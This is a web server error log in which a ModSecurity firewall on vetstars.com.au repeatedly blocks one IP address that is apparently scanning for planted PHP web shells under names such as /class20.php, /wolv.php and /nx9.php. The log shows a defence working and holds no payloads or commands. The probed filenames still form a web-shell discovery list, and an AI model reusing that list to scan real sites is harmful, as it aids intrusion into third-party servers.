[Tue Dec 23 02:04:36.120184 2025] [:error] [pid 40267:tid 40278] [client 13.79.133.172:10682] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/asus.php"] [unique_id "aUmINOTPWWVt2GkrftB10QAAAAU"]
[Tue Dec 23 02:04:36.628797 2025] [:error] [pid 40268:tid 40305] [client 13.79.133.172:8983] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/asus.php"] [unique_id "aUmINJWtCyS5tdJAiFxjbgAAAMM"]
[Tue Dec 23 02:04:37.154132 2025] [:error] [pid 40268:tid 40302] [client 13.79.133.172:5833] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class20.php"] [unique_id "aUmINZWtCyS5tdJAiFxjcgAAAMA"]
[Tue Dec 23 02:04:37.671229 2025] [:error] [pid 40267:tid 40281] [client 13.79.133.172:14271] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class20.php"] [unique_id "aUmINeTPWWVt2GkrftB15gAAAAg"]
[Tue Dec 23 02:04:38.208801 2025] [:error] [pid 40361:tid 40378] [client 13.79.133.172:2123] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class20.php"] [unique_id "aUmINuxiDEK95vL2EDrdzAAAAE8"]
[Tue Dec 23 02:04:38.738741 2025] [:error] [pid 40269:tid 40353] [client 13.79.133.172:4281] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class20.php"] [unique_id "aUmINi06Z11fTcfdsqTugwAAARg"]
[Tue Dec 23 02:04:39.248034 2025] [:error] [pid 40268:tid 40316] [client 13.79.133.172:8979] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v3.php"] [unique_id "aUmIN5WtCyS5tdJAiFxjeQAAAM4"]
[Tue Dec 23 02:04:39.762389 2025] [:error] [pid 40269:tid 40331] [client 13.79.133.172:4006] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v3.php"] [unique_id "aUmINy06Z11fTcfdsqTuhwAAAQI"]
[Tue Dec 23 02:04:40.305702 2025] [:error] [pid 40267:tid 40276] [client 13.79.133.172:1461] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v3.php"] [unique_id "aUmIOOTPWWVt2GkrftB1-AAAAAM"]
[Tue Dec 23 02:04:40.810892 2025] [:error] [pid 40269:tid 40346] [client 13.79.133.172:8448] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v3.php"] [unique_id "aUmIOC06Z11fTcfdsqTuigAAARE"]
[Tue Dec 23 02:04:41.331316 2025] [:error] [pid 40269:tid 40351] [client 13.79.133.172:10144] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/j.php"] [unique_id "aUmIOS06Z11fTcfdsqTujAAAARY"]
[Tue Dec 23 02:04:41.838914 2025] [:error] [pid 40361:tid 40375] [client 13.79.133.172:10498] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/j.php"] [unique_id "aUmIOexiDEK95vL2EDrd1gAAAEw"]
[Tue Dec 23 02:04:42.348832 2025] [:error] [pid 40267:tid 40291] [client 13.79.133.172:9717] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/j.php"] [unique_id "aUmIOuTPWWVt2GkrftB1_AAAABI"]
[Tue Dec 23 02:04:42.856354 2025] [:error] [pid 40267:tid 40293] [client 13.79.133.172:9701] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/j.php"] [unique_id "aUmIOuTPWWVt2GkrftB1_gAAABQ"]
[Tue Dec 23 02:04:43.374731 2025] [:error] [pid 40361:tid 40365] [client 13.79.133.172:4257] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/orm.php"] [unique_id "aUmIO-xiDEK95vL2EDrd1wAAAEI"]
[Tue Dec 23 02:04:43.939169 2025] [:error] [pid 40269:tid 40339] [client 13.79.133.172:8988] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/orm.php"] [unique_id "aUmIOy06Z11fTcfdsqTukwAAAQo"]
[Tue Dec 23 02:04:44.455829 2025] [:error] [pid 40268:tid 40302] [client 13.79.133.172:6395] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/orm.php"] [unique_id "aUmIPJWtCyS5tdJAiFxjggAAAMA"]
[Tue Dec 23 02:04:44.959500 2025] [:error] [pid 40268:tid 40321] [client 13.79.133.172:8960] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/orm.php"] [unique_id "aUmIPJWtCyS5tdJAiFxjhQAAANM"]
[Tue Dec 23 02:04:45.480166 2025] [:error] [pid 40267:tid 40275] [client 13.79.133.172:8641] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xp.php"] [unique_id "aUmIPeTPWWVt2GkrftB2AwAAAAI"]
[Tue Dec 23 02:04:45.987945 2025] [:error] [pid 40267:tid 40280] [client 13.79.133.172:7215] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xp.php"] [unique_id "aUmIPeTPWWVt2GkrftB2BAAAAAc"]
[Tue Dec 23 02:04:46.514160 2025] [:error] [pid 40267:tid 40284] [client 13.79.133.172:9014] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xp.php"] [unique_id "aUmIPuTPWWVt2GkrftB2BwAAAAs"]
[Tue Dec 23 02:04:47.030783 2025] [:error] [pid 40268:tid 40315] [client 13.79.133.172:1098] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xp.php"] [unique_id "aUmIP5WtCyS5tdJAiFxjhgAAAM0"]
[Tue Dec 23 02:04:47.585736 2025] [:error] [pid 40269:tid 40338] [client 13.79.133.172:8702] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wolv.php"] [unique_id "aUmIPy06Z11fTcfdsqTungAAAQk"]
[Tue Dec 23 02:04:48.133364 2025] [:error] [pid 40269:tid 40336] [client 13.79.133.172:4280] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wolv.php"] [unique_id "aUmIQC06Z11fTcfdsqTunwAAAQc"]
[Tue Dec 23 02:04:48.638946 2025] [:error] [pid 40268:tid 40316] [client 13.79.133.172:9003] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wolv.php"] [unique_id "aUmIQJWtCyS5tdJAiFxjhwAAAM4"]
[Tue Dec 23 02:04:49.156045 2025] [:error] [pid 40267:tid 40289] [client 13.79.133.172:6388] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wolv.php"] [unique_id "aUmIQeTPWWVt2GkrftB2DwAAABA"]
[Tue Dec 23 02:04:49.663160 2025] [:error] [pid 40361:tid 40368] [client 13.79.133.172:10677] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aUmIQexiDEK95vL2EDrd3AAAAEU"]
[Tue Dec 23 02:04:50.168145 2025] [:error] [pid 40361:tid 40380] [client 13.79.133.172:16074] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aUmIQuxiDEK95vL2EDrd3QAAAFE"]
[Tue Dec 23 02:04:50.667624 2025] [:error] [pid 40269:tid 40330] [client 13.79.133.172:1432] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aUmIQi06Z11fTcfdsqTupgAAAQE"]
[Tue Dec 23 02:04:51.174875 2025] [:error] [pid 40361:tid 40376] [client 13.79.133.172:3994] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aUmIQ-xiDEK95vL2EDrd5AAAAE0"]
[Tue Dec 23 02:04:51.687707 2025] [:error] [pid 40269:tid 40338] [client 13.79.133.172:9711] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aw.php"] [unique_id "aUmIQy06Z11fTcfdsqTuqwAAAQk"]
[Tue Dec 23 02:05:38.354758 2025] [:error] [pid 40267:tid 40280] [client 13.79.133.172:4448] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ea3f.php"] [unique_id "aUmIcuTPWWVt2GkrftB2lQAAAAc"]
[Tue Dec 23 02:05:38.956574 2025] [:error] [pid 40268:tid 40303] [client 13.79.133.172:14496] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ea3f.php"] [unique_id "aUmIcpWtCyS5tdJAiFxj-wAAAME"]
[Tue Dec 23 02:05:39.560669 2025] [:error] [pid 40361:tid 40368] [client 13.79.133.172:10880] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ea3f.php"] [unique_id "aUmIc-xiDEK95vL2EDreZQAAAEU"]
[Tue Dec 23 02:05:40.157406 2025] [:error] [pid 40361:tid 40364] [client 13.79.133.172:1577] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ea3f.php"] [unique_id "aUmIdOxiDEK95vL2EDreZwAAAEE"]
[Tue Dec 23 02:05:40.770119 2025] [:error] [pid 40269:tid 40341] [client 13.79.133.172:8223] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Okxob.php"] [unique_id "aUmIdC06Z11fTcfdsqTu7AAAAQw"]
[Tue Dec 23 02:05:41.378392 2025] [:error] [pid 40361:tid 40369] [client 13.79.133.172:9638] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Okxob.php"] [unique_id "aUmIdexiDEK95vL2EDreawAAAEY"]
[Tue Dec 23 02:05:41.940846 2025] [:error] [pid 40267:tid 40297] [client 13.79.133.172:10922] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Okxob.php"] [unique_id "aUmIdeTPWWVt2GkrftB2mwAAABg"]
[Tue Dec 23 02:05:42.529035 2025] [:error] [pid 40268:tid 40316] [client 13.79.133.172:10381] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Okxob.php"] [unique_id "aUmIdpWtCyS5tdJAiFxkAAAAAM4"]
[Tue Dec 23 02:05:43.088166 2025] [:error] [pid 40269:tid 40346] [client 13.79.133.172:10422] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0x.php"] [unique_id "aUmIdy06Z11fTcfdsqTu9AAAARE"]
[Tue Dec 23 02:05:43.629161 2025] [:error] [pid 40268:tid 40317] [client 13.79.133.172:7238] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0x.php"] [unique_id "aUmId5WtCyS5tdJAiFxkAQAAAM8"]
[Tue Dec 23 02:05:44.221514 2025] [:error] [pid 40268:tid 40303] [client 13.79.133.172:9877] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0x.php"] [unique_id "aUmIeJWtCyS5tdJAiFxkAwAAAME"]
[Tue Dec 23 02:05:44.771376 2025] [:error] [pid 40267:tid 40281] [client 13.79.133.172:9609] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0x.php"] [unique_id "aUmIeOTPWWVt2GkrftB2oQAAAAg"]
[Tue Dec 23 02:05:45.360301 2025] [:error] [pid 40361:tid 40363] [client 13.79.133.172:10884] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v2.php"] [unique_id "aUmIeexiDEK95vL2EDrebQAAAEA"]
[Tue Dec 23 02:05:45.958923 2025] [:error] [pid 40267:tid 40291] [client 13.79.133.172:7278] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v2.php"] [unique_id "aUmIeeTPWWVt2GkrftB2pAAAABI"]
[Tue Dec 23 02:05:46.549929 2025] [:error] [pid 40269:tid 40349] [client 13.79.133.172:10392] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v2.php"] [unique_id "aUmIei06Z11fTcfdsqTu-gAAARQ"]
[Tue Dec 23 02:05:47.149608 2025] [:error] [pid 40269:tid 40330] [client 13.79.133.172:7301] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v2.php"] [unique_id "aUmIey06Z11fTcfdsqTu-wAAAQE"]
[Tue Dec 23 02:05:47.757448 2025] [:error] [pid 40267:tid 40284] [client 13.79.133.172:10432] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nx9.php"] [unique_id "aUmIe-TPWWVt2GkrftB2rgAAAAs"]
[Tue Dec 23 02:05:48.369022 2025] [:error] [pid 40361:tid 40385] [client 13.79.133.172:9860] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nx9.php"] [unique_id "aUmIfOxiDEK95vL2EDrecQAAAFY"]
[Tue Dec 23 02:05:48.953452 2025] [:error] [pid 40269:tid 40334] [client 13.79.133.172:9610] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nx9.php"] [unique_id "aUmIfC06Z11fTcfdsqTu_gAAAQU"]
[Tue Dec 23 02:05:49.553786 2025] [:error] [pid 40267:tid 40279] [client 13.79.133.172:6458] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nx9.php"] [unique_id "aUmIfeTPWWVt2GkrftB2uQAAAAY"]
[Tue Dec 23 02:05:50.135802 2025] [:error] [pid 40269:tid 40351] [client 13.79.133.172:10053] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ay.php"] [unique_id "aUmIfi06Z11fTcfdsqTvAwAAARY"]
[Tue Dec 23 02:05:50.734788 2025] [:error] [pid 40268:tid 40304] [client 13.79.133.172:8224] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ay.php"] [unique_id "aUmIfpWtCyS5tdJAiFxkBQAAAMI"]
[Tue Dec 23 02:05:51.333403 2025] [:error] [pid 40268:tid 40316] [client 13.79.133.172:4181] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ay.php"] [unique_id "aUmIf5WtCyS5tdJAiFxkCQAAAM4"]
[Tue Dec 23 02:05:51.926037 2025] [:error] [pid 40269:tid 40330] [client 13.79.133.172:5086] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ay.php"] [unique_id "aUmIfy06Z11fTcfdsqTvCQAAAQE"]
[Tue Dec 23 02:05:52.520229 2025] [:error] [pid 40269:tid 40347] [client 13.79.133.172:13966] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g.php"] [unique_id "aUmIgC06Z11fTcfdsqTvDgAAARI"]
[Tue Dec 23 02:05:53.098785 2025] [:error] [pid 40269:tid 40342] [client 13.79.133.172:7292] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g.php"] [unique_id "aUmIgS06Z11fTcfdsqTvEwAAAQ0"]
